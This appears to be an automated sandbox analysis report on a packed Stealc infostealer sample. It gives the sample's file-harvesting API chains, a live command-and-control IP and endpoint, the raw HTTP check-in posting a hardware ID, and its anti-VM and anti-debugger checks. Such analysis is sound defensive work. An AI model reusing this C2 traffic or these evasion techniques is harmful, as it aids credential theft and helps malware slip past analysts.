Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1685626986.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726930523.00000000001AC000.00000040.00000001.01000000.00000003.sdmp
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001940F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_001940F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0018E530
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00181710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00181710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0018F7B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001947C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_001947C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00193B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_00193B00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00194B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00194B60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0018DB80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0018EE20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0018BE40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0018DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0018DF10

Networking

barindex
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 36 30 38 34 46 37 43 45 39 30 33 32 30 34 39 37 30 30 37 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="hwid"06084F7CE903204970075------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="build"tale------CAEHJEBKFCAKKFIEHDBF--
Source: Joe Sandbox View IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001862D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_001862D0
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 36 30 38 34 46 37 43 45 39 30 33 32 30 34 39 37 30 30 37 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="hwid"06084F7CE903204970075------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="build"tale------CAEHJEBKFCAKKFIEHDBF--
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/4
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1727662731.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/c
Source: file.exe, 00000000.00000002.1727662731.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php6
Source: file.exe, 00000000.00000002.1727662731.00000000011F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: file.exe, 00000000.00000002.1727662731.00000000011F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/Z
Source: file.exe, 00000000.00000002.1727662731.0000000001209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/_
Source: file.exe, 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206j
Source: file.exe, file.exe, 00000000.00000003.1685626986.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726930523.00000000001AC000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

barindex
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 0_2_005CC033
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005D6024 0_2_005D6024
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C0098 0_2_001C0098
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0052E0DE 0_2_0052E0DE
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005B8089 0_2_005B8089
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001B2138 0_2_001B2138
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005DF102 0_2_005DF102
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001DB198 0_2_001DB198
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005DB26C 0_2_005DB26C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001EE258 0_2_001EE258
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C4288 0_2_001C4288
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0020B308 0_2_0020B308
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005DD329 0_2_005DD329
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001FD39E 0_2_001FD39E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0064F3F2 0_2_0064F3F2
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005C54A6 0_2_005C54A6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CF505 0_2_005CF505
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001AE544 0_2_001AE544
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001A4573 0_2_001A4573
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C45A8 0_2_001C45A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001ED5A8 0_2_001ED5A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004DB5A7 0_2_004DB5A7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001FA648 0_2_001FA648
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005D96D5 0_2_005D96D5
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C66C8 0_2_001C66C8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_002096FD 0_2_002096FD
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001DD720 0_2_001DD720
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001F6799 0_2_001F6799
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0052D78C 0_2_0052D78C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0053F835 0_2_0053F835
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001D4868 0_2_001D4868
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001D98B8 0_2_001D98B8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001DB8A8 0_2_001DB8A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001EF8D6 0_2_001EF8D6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0059690C 0_2_0059690C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CD9F1 0_2_005CD9F1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00480990 0_2_00480990
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005D2A75 0_2_005D2A75
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00532ABF 0_2_00532ABF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001F0B88 0_2_001F0B88
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001F4BA8 0_2_001F4BA8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001FAC28 0_2_001FAC28
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_006AFCEE 0_2_006AFCEE
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0056FC8A 0_2_0056FC8A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001EAD38 0_2_001EAD38
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001B1D78 0_2_001B1D78
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001DBD68 0_2_001DBD68
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001D5DB9 0_2_001D5DB9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001D4DC8 0_2_001D4DC8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001C8E78 0_2_001C8E78
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_001F1EE8 0_2_001F1EE8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005D0F92 0_2_005D0F92
Source: C:\Users\user\Desktop\file.exe Code function: String function: 00184610 appears 316 times
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: fefgvzwf ZLIB complexity 0.9950002834038694
Source: classification engine Classification label: mal100.troj.evad.winEXE@1/0@0/1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00199790
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00193970 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_00193970
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Z2KV232P.htm Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: file.exe Static file information: File size 2131968 > 1048576
Source: file.exe Static PE information: Raw size of fefgvzwf is bigger than: 0x100000 < 0x19d800
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1685626986.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726930523.00000000001AC000.00000040.00000001.01000000.00000003.sdmp
Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1685626986.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726930523.00000000001AC000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

barindex
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.180000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW;
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00199BB0
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
Source: file.exe Static PE information: real checksum: 0x216f66 should be: 0x20989c
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: fefgvzwf
Source: file.exe Static PE information: section name: bzufikti
Source: file.exe Static PE information: section name: .taggant
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_006B6022 push 7A87A743h; mov dword ptr [esp], eax 0_2_006B6048
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 6D408F3Fh; mov dword ptr [esp], ebp 0_2_005CC0D3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ebp; mov dword ptr [esp], 39ED2AA2h 0_2_005CC0E7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push esi; mov dword ptr [esp], 69324C16h 0_2_005CC16E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 4FA1C48Ch; mov dword ptr [esp], edx 0_2_005CC19B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push eax; mov dword ptr [esp], 6B37CEACh 0_2_005CC226
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 2FE8686Ah; mov dword ptr [esp], ecx 0_2_005CC28C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push edx; mov dword ptr [esp], eax 0_2_005CC2F1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ebx; mov dword ptr [esp], esi 0_2_005CC350
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push eax; mov dword ptr [esp], 44C22BD0h 0_2_005CC3F4
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 03A6403Bh; mov dword ptr [esp], edx 0_2_005CC56B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push edx; mov dword ptr [esp], 1C6FEE32h 0_2_005CC571
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push esi; mov dword ptr [esp], ecx 0_2_005CC658
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push edi; mov dword ptr [esp], ebx 0_2_005CC66B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 01BACB50h; mov dword ptr [esp], esi 0_2_005CC69E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 74F44545h; mov dword ptr [esp], ebp 0_2_005CC6DD
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push esi; mov dword ptr [esp], 0317CC5Ah 0_2_005CC71E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ebx; mov dword ptr [esp], 7BBFBE9Ch 0_2_005CC79D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 0B0DADB2h; mov dword ptr [esp], edx 0_2_005CC81C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push edi; mov dword ptr [esp], 5EFF3A01h 0_2_005CC83B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ecx; mov dword ptr [esp], edi 0_2_005CC867
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 0E8C3DAFh; mov dword ptr [esp], esi 0_2_005CC88A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ebx; mov dword ptr [esp], eax 0_2_005CC8B3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 3581106Dh; mov dword ptr [esp], ebx 0_2_005CC8BD
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push edx; mov dword ptr [esp], ebp 0_2_005CC9B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push eax; mov dword ptr [esp], 2BAD7DE1h 0_2_005CC9EB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push ebx; mov dword ptr [esp], edi 0_2_005CCA5C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 020B9A60h; mov dword ptr [esp], edx 0_2_005CCA64
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 4E504852h; mov dword ptr [esp], ebp 0_2_005CCAED
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push 360FFDE2h; mov dword ptr [esp], edi 0_2_005CCB88
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_005CC033 push esi; mov dword ptr [esp], ecx 0_2_005CCB8C
Source: file.exe Static PE information: section name: fefgvzwf entropy: 7.95427162698335

Boot Survival

barindex
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00199BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00199BB0

Malware Analysis System Evasion

barindex
Source: C:\Users\user\Desktop\file.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46E39D second address: 46DBA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC070C93707h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FC070C93704h 0x00000011 nop 0x00000012 jmp 00007FC070C936FEh 0x00000017 push dword ptr [ebp+122D0571h] 0x0000001d jns 00007FC070C936FCh 0x00000023 call dword ptr [ebp+122D273Eh] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov ebx, dword ptr [ebp+122D2A99h] 0x00000031 movzx ebx, bx 0x00000034 popad 0x00000035 pushad 0x00000036 mov esi, dword ptr [ebp+122D2BADh] 0x0000003c mov esi, dword ptr [ebp+122D29FDh] 0x00000042 popad 0x00000043 xor eax, eax 0x00000045 stc 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a xor dword ptr [ebp+122D1D52h], ecx 0x00000050 jne 00007FC070C93708h 0x00000056 mov dword ptr [ebp+122D2BD9h], eax 0x0000005c jmp 00007FC070C93705h 0x00000061 mov dword ptr [ebp+122D1D52h], eax 0x00000067 mov esi, 0000003Ch 0x0000006c jmp 00007FC070C936FEh 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 jmp 00007FC070C936FAh 0x0000007a lodsw 0x0000007c jmp 00007FC070C93703h 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 jne 00007FC070C93710h 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f jg 00007FC070C93714h 0x00000095 push eax 0x00000096 push eax 0x00000097 push edx 0x00000098 push edx 0x00000099 jmp 00007FC070C936FFh 0x0000009e pop edx 0x0000009f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46DBA3 second address: 46DBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E2A4A second address: 5E2A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC070C93708h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E2A6B second address: 5E2A71 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E2CF6 second address: 5E2D0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC070C936FAh 0x00000008 jg 00007FC070C936F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E6798 second address: 5E679D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E679D second address: 5E67B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jc 00007FC070C936F6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E67B2 second address: 5E67D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC0712A538Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E67D7 second address: 5E67DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
